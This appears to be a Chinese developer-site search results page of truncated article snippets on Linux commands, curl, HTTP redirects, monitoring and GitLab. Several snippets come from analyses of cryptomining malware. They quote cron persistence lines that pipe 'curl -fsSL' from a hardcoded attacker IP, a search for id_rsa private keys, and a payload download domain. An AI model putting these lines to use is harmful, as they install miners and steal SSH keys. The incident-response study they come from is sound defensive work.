首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux命令-完整手册

Linux命令-完整手册 大家好, 你可能正在使用基于GUI的界面来执行日常任务。但是你知道,仅使用终端就可以执行相同的任务一些高级任务,而且效率更高。...如果你想提高编码效率速度,或者想终端命令深刻的了解,终端命令不仅可以Linux发行版安装软件,还可以做更多的事情。 在此博客中,我分享了一些您绝对应该在日常生活中尝试使用的命令。...33.grep "random_text" -win ./*.txt ==>目录中的所有文本(.txt)文件中查找随机文本,并确保找到的单词是整个单词(-w),而不考虑大小写(-i)行号(-n)...36.curl www.example_website.com ==>这将显示example_website的html 37.top ==>这将显示当前时间的CPU使用率,内存使用率等 38.nslookup...40.curl -O pdf_url_on_internet ==>它将媒体从URL下载到该位置

1.9K20

Linux IP代理筛选系统(shell+proxy)

一篇博客,介绍了Linux 抓取网页的实例,其中抓取google play国外网页时,需要用到代理服务器 代理的用途 其实,除了抓取国外网页需要用到IP代理外,还有很多场景会用到代理: 通过代理访问一些国外网站...上篇博客中提到过,抓取游戏排名网页游戏网页的过程中,都需要使用代理IP来下载网页,如果遇到上面的代理IP突然失效,该如何解决?...-z $(ps -ef | grep curl | grep -v grep | cut -c 9-15) ] do     ps -ef | grep curl | grep -v grep | cut...-c 15-20 | xargs kill -9     ps -ef | grep curl | grep -v grep | cut -c 9-15 | xargs kill -9 done 8...、完成网页抓取 通过上述的IP代理筛选系统,筛选出12国可用的免费代理IP,完成每日12国网页排名游戏网页的抓取任务 之后,就是网页中游戏属性信息的进行提取、处理,生成每日报表、邮件定时发送趋势图查询等

2.3K30
您找到你想要的搜索结果了吗?
是的
没有找到

挖矿脚本学习

背景 日常应急响应过程中发现的挖矿脚本,其进行分析发现写的质量该不错,可以学习下 样本分析及学习 SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin...DER Uninstalled" #改变文件/tmp/dbused属性(a:让文件或目录仅供附加用途、i:不得任意更动文件或目录) chattr -ai /tmp/dbused #利用ifconfigip...url="http://209.141.40.190" fi #写入计划任务: 使用-e参数:激活转义字符 #前三个是吸入系统计划任务 #第四个是写入个人计划任务 #写入计划任务的内容就是以.../root #放入etc/cron.hourly的脚本会每小时执行一次,写入计划任务,并给可执行权限 mkdir -p /etc/cron.hourly echo "(curl -fsSL $url/...xms" | crontab - fi #或取本机器密钥 KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)

73720

http请求超时 ,用PHP如何解决的?

wget超时时间, 是分阶段的, 比如说请求的超时, 传输的超时,同样HTTP请求两个超时时间:一个是连接超时时间,另一个是数据传输的最大允许时间,出现问题就要看是哪个超时时间出问题了。...($ch);//使用curl_error($ch)查看错误的详情 var_dump(curl_error($ch));二,页面执行时间当你的页面有大量数据时,建议使用set_time_limit()来控制运行时间...php.ini:它预设的限制时间是30秒,max_execution_time的值定义结构档案中,如果将秒数设为0,表示无时间的限制,修改后重新启动apache/nginx服务器php代码:set_time_limit...通过 set_time_limit 来设置一个脚本的执行时间为无限长;然后使用flush() ob_flush() 来清除服务器缓冲区,随时输出脚本的返回值。如下面这段脚本:<?...通过这一方法,我们可以完成很多功能,例如机器人爬虫、即时留言板等程序。

71720

重新认识HTTP3xx重定向机制

而网宿对日志下载的接口搞得很复杂,又没有提供相应的sdk,只是提供了一个shell脚本,虽然ubuntu使用很方便,但是脚本里面的各种重定向分析非常复杂。故此想对重定向深入了解一点。...u=$user&p=$passwd&channel=$channels" curl -s -k -D $TMP_FILE $TMP_URL cat $TMP_FILE | grep "HTTP/" |...如果你想把自己的网站永久更改为一个新的域名,则应该使用301永久重定向,搜索引擎机器人会在遇到该状态码时触发更新操作,在其索引库中修改与该资源相关的 URL 。...HTTP重定向的使用 主要以Pythonshell两种语言来介绍http重定向的使用。 Python Python常用的http库urllib,urllib2,requests都支持http重定向。...Shell 使用curl命令模拟 -L参数,当页面有跳转的时候,输出跳转到的页面 -I参数 header信息 当跳转时,可以通过 curl -L -I URL|grep Location 来确定跳转到的新

49921

系统监控及钉钉机器人告警脚本

一、背景 当前不同的公司服务器较多,项目开发、部署演示过程多次遇到服务器无故宕机的情况,另外各服务器上部署的中间件也存在无故下线的情况,如果出现以上情况就特别棘手,而技术人员无法第一时间感知。...二、操作说明 1、检查服务器curl命令是否可用 (1)调用相关命令进行检查 # 查看当前版本 curl --version # 检查网站是否可达,若html显示屏幕则证明命令可用 curl http...2、shell文件配置 (1)当前是将服务器CPU相关监听中间件的Shell脚本文件分开设置的,主要是考虑到文件过大,配置修改定时命令执行时出现问题不好排查,执行时间也会比较耗时。...(4)权限设置后,可先调用执行一下,检查下是否格式问题 ....,同上 # flink_status=`netstat -lntup |grep -w "$Port_flink" |wc -l`':flink' #【配置5】钉钉webhook,此处为添加的钉钉机器

53310

Zabbix监控系统

系统或服务状态异 常时发出邮件或短信报警第一时间通知运维人员,状态恢复后发出正常的邮件或短信通知。 Nagios 完善的插件功能,可以方便的根据应用服务扩展功能。...监控区别 nagios 图形不是特别好,也可以安装图形插件,但是也不怎么好看 nagios 一般情况下如果需要图形可以 cacti 配合使用 cacti 的监控是轮询监控,效率低,图形相对 nagios...比较好看 zabbix nagios 因为是并发监控, cpu 的要求更高 zabbix 性能功能上都强大很多 zabbix 的图形相当漂亮 支持多种监控方式 zabbix-agent snmp...该界面是 Zabbix Server的一部分,通常跟Zabbix Server运行在同一台物理机器(!...如果使 用SQLite,Zabbix Web界面必须要跟Zabbix Server运行在同一台物理机器。)

1.1K20

实力解剖一枚挖矿脚本,风骚操作亮瞎双眼

公司几台机器,最近cpu一直疯转,就像是吃了春药,一直发热。由于机器实在是太多,有这么几台安全性防护没有到位,就一直躺在角落里疯狂运转。...虽然别人机器进行挖矿行为是不道德的,但掩盖不了脚本编写者的风骚操作。 挖矿,是计算机技术界最让人迷惑的行为之一,但它赚钱。据悉,这段脚本名叫DDG,已经挖取了价值一千多万人民币的虚拟币货币。...这个方法首先使用ps、grep、kill一套组合,干掉了同行的挖矿脚本,然后停掉了同行的cron脚本,黑吃黑的感觉。 在这段脚本里,使用了pkill命令。...不过这次针对的目标,是cpu使用超过40%的进程。读过xjjdogawk分析的同学,这个命令应该非常的熟悉。这就有点狠了:影响我挖矿的进程,都得死! 相煎何太急。...脚本里命令繁多,使用方式多样,缩紧格式优雅,除了一点啰嗦,没有加密之外,是一个非常好的拿来学习的脚本。 瞧了瞧被控制的机器,我赶紧偷偷的重装了机器。 就当它是一个梦吧。

80720

凶残的挖矿脚本,奴役我数千机器

温馨提示:本文中出现的命令脚本,不要在自家服务器随便运行,除非你知道自己在做什么。 挖矿是把机器当作奴隶,一刻不停歇的去计算、运转,本质是个无用的工作。但可惜的是,它能赚钱。...这样的漏洞很多很多,数不胜数,比如它可以通过redis进入。我们不必关注这些漏洞,默认它已经利用成功了。我们只看挖矿脚本是怎么部署到你的机器的。...注意这三个字母,后面是l1,并不是X桌面的配置目录。真正的脚本部分,我们可以看到下载的程序包地址是d.u78wjdu.com/ln/xr.zip。...${src}_${cdate} 最终会拼成下面的字符串,可以说该有的信息都有了,能够区分出到底是哪一台机器了。 url?...能用65529这个端口,本身就够骚气的了,几台机器能够达到上限65535呢?

1.5K40

凶残的挖矿脚本,奴役我数千机器

本文转载自不正经程序员 温馨提示:本文中出现的命令脚本,不要在自家服务器随便运行,除非你知道自己在做什么。 挖矿是把机器当作奴隶,一刻不停歇的去计算、运转,本质是个无用的工作。...这样的漏洞很多很多,数不胜数,比如它可以通过redis进入。我们不必关注这些漏洞,默认它已经利用成功了。我们只看挖矿脚本是怎么部署到你的机器的。...注意这三个字母,后面是l1,并不是X桌面的配置目录。真正的脚本部分,我们可以看到下载的程序包地址是d.u78wjdu.com/ln/xr.zip。...${src}_${cdate} 最终会拼成下面的字符串,可以说该有的信息都有了,能够区分出到底是哪一台机器了。 url?...能用65529这个端口,本身就够骚气的了,几台机器能够达到上限65535呢?

57440

作为前端Web开发者,这12个终端命令不可不会

使用Curl可以进行文件下载、检查响应标题自由访问远程数据。 Web 开发中,Curl 经常 RESTful API 一起使用,用于测试连接。...Git 很多第三方应用工具可以使用,但是大多数人都喜欢通过本地终端访问 git。git CLI 非常强大,可以处理最混乱的项目版本问题。...它提供了一个高级界面,具有用于监视控制系统进程的许多选项。 虽然 Htop 终端中运行,但是 Htop 鼠标控件非常好的支持。...ssh username@remote_host 如果要在服务器快速执行命令而不进行登录,可以URL之后添加一个命令。该命令将在服务器运行,并返回该结果。...在对大文件进行过滤时,使用 Grep 会非常方便。下面我们使用 Grep data 命令搜索来一个大型日志文件进行搜索,并生成一个仅包含当天错误信息的新文件。

57220

记一次感染挖矿病毒的经历

第三方客户也开始群聊里反馈接口响应慢,失败率高的问题。顾不得别的赶紧登上去看看是什么进程吃CPU,为了安全,我们禁止了账号密码,而是采用的密钥文件登录。但是登录却报异常了,身份验证失败!    ...从阿里控制台登录进去,什么态势感知、安骑士一点异常都没有,再看系统日志登录用户,也没有任何异常。而TOP命令只能看到CPU满额,但是看不到哪个进程。最后从阿里云的实例监控看到这个图: ?    ...大致方向感染原因找到了,但是如何杀毒呢?屏蔽host、删除病毒文件、删除定时都是治标不治本的办法,好在我们定期备份镜像的习惯,找到最近的一次备份,然后还原,最后升级jenkins版本。    ...,最后清除日志混淆文件修改时间。...但已感染机器是永远不可能找到的,所以必须关机然后把系统挂载到另外一台机器,以磁盘的形式存在。如果是实体机,就用pe之类的进去,如果是云服务器就把系统做成一个镜像,然后挂载到另外一台机器

3.8K41

CentOS8.1搭建Gitlab服务器详细教程

GitlabGithub的区别就不多说了,一句话来概括就是:Gitlab是给企业私有化部署的Git服务器,Github是互联网在线版的Git服务器!   ...Gitlab现在可强大了(2020年),已经自己成套的DevOps落地解决方案(提高生产力的利器),但是这部分功能是收费的旗舰版/企业版(Gitlab EE)提供的!...安装步骤的最后,一个短短的链接,写着”CE or EE”,似乎个CE版的入口,点进去: ?   ...URL地址使用一个自定义的域名,即使该域名实际没有也没关系!...客户端使用时你可以HOST里做一下映射的,当然,真实可以的域名就最好了!为什么要用域名来指定外部访问URL地址呢?因为后面你使Gitlab时会发现这是一个明智的选择!

3.5K31

全国内环境安装

默认address使用的是内网地址, ####重点:k8s要部署阿里云的同一地域且同一区 kubeadm init rm -f $HOME/.kube/config mkdir -p $HOME/....#直译意思是节点了污点无法容忍,执行 kubectl get no -o yaml | grep taint -A 5 之后发现该节点是不可调度的。...node的时候,master node还是istio的镜像的,两个node干脆就都在node运行了,,,起多个服务的的也会平摊下去,比如istio/examples-bookinfo-reviews-v3...起两个服务,非别在两台机器运行 docker images -a #node节点运行 #kubectl get pods kubectl exec "$(kubectl get pod...:31500/productpage #这个某个node节点的内网IP,之前Minikube主从双节点结构都显示的是master节点的内网IP ubectl get svc #在外网的浏览器运行(仅仅需要下面一条命令

44420

PHP中高级面试题 – 第一天

XSS:跨站脚本攻击,可以通过对内容转义过滤来防范,还有 CSP 三、应用中我们经常会遇到 user 表随机调取 10 条数据来展示的情况,简述你如何实现该功能。...唯一索引:可以有空值 五、http 与 https 的主要区别 关键是 S 。简而言之,https 建立连接后要先把 SSL 的证书发下去,了公钥私钥,就可以解密了。...如果是核心业务的话,现在所有的写操作都在正常的状态机器。把好的这台机器的备机拉起来,当主机。 以上全是应急操作。实际数据库的容灾设计要复杂的多。...按照百万级表,每秒 1000 的写入效率,正常的设计是,分布 2 台机器每台 500。这个级别的数据同步,出现差异的概率 可以忽略不计的。一台出现问题,另一台也可以抗住。...按老鼠的顺序乖乖站好…… 假如第一只第三只死了,那就是 0101,就是 5 问题。

40620

我是怎样用Shell脚本完成钉钉机器人消息推送的

背景需求 我想应该有一些人和我一样的需求,比如需要自动推送消息到钉钉 我喜欢shell,是因为Linux环境下,几乎可以完成所有的事儿,而且依赖问题几乎可以忽略不计(一些特殊环境除外)。...; 本次介绍的不支持应答机制,当然如果自己创建钉钉应用是可以实现的; 更多关于自定义机器人请参考钉钉官方文档; ---- 步骤开始 钉钉群里添加自定义机器人 找到需要添加机器人的群; 点击群会话框的右上角的齿轮...→机器人→自定义机器人; 根据自己需求,填写机器人信息; 安全设置官方提供两种方式,人选其一,博主推荐加签方式; webhook URL就是你推送消息的地址,如果您博主一样选择加签(即 sign)方式...方式,所以如果您不是用shell的话可以参考官方文档,反之则可以直接使用博主的脚本。.../bin/bash ## 用于给钉钉机器人推送消息 ## 钉钉机器人消息安全支持 关键词、sign 两种方式,人选其一 ## 从灵活角度来设计,anYun 推荐使用 sign 方式 ## 官方文档没有给

1K30
领券